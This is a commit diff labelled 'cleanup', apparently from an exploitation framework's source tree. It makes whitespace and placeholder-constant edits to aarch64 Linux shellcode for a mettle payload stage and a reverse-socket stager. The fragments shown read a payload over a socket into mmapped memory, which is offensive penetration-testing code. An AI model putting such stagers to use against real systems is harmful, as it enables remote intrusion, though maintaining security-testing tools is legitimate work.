cleanup

Author: timwr

external/source/shellcode/linux/aarch64/stage_mettle.s

@@ -2,9 +2,6 @@
 .equ SYS_MMAP, 0xde
 .equ SYS_EXIT, 0x5d
 
-.equ SIZE, 0xeeeeeeee
-.equ ENTRY, 0xffffffff
-
 start:
     adr    x2, size
     ldr    w2, [x2]
@@ -94,8 +91,8 @@ failed:
 
 .balign 16
 size:
-        .word SIZE
+        .word 0
         .word 0
 entry:
-        .word ENTRY
+        .word 0
         .word 0

external/source/shellcode/linux/aarch64/stager_sock_reverse.s

@@ -37,7 +37,7 @@ start:
     mov    x2, #4
     mov    x8, SYS_READ
     svc    0
-    cmn	   x0, #0x1
+    cmn    x0, #0x1
     beq    failed
 
     ldr    w2, [sp,#0]
@@ -56,7 +56,7 @@ start:
     mov    x5, xzr
     mov    x8, SYS_MMAP
     svc    0
-    cmn	   x0, #0x1
+    cmn    x0, #0x1
     beq    failed
 
     /* Grab the saved size, save the address */
@@ -75,7 +75,7 @@ read_loop:
     mov    x2, x4
     mov    x8, SYS_READ
     svc    0
-    cmn	   x0, #0x1
+    cmn    x0, #0x1
     beq    failed
     add    x3, x3, x0
     subs   x4, x4, x0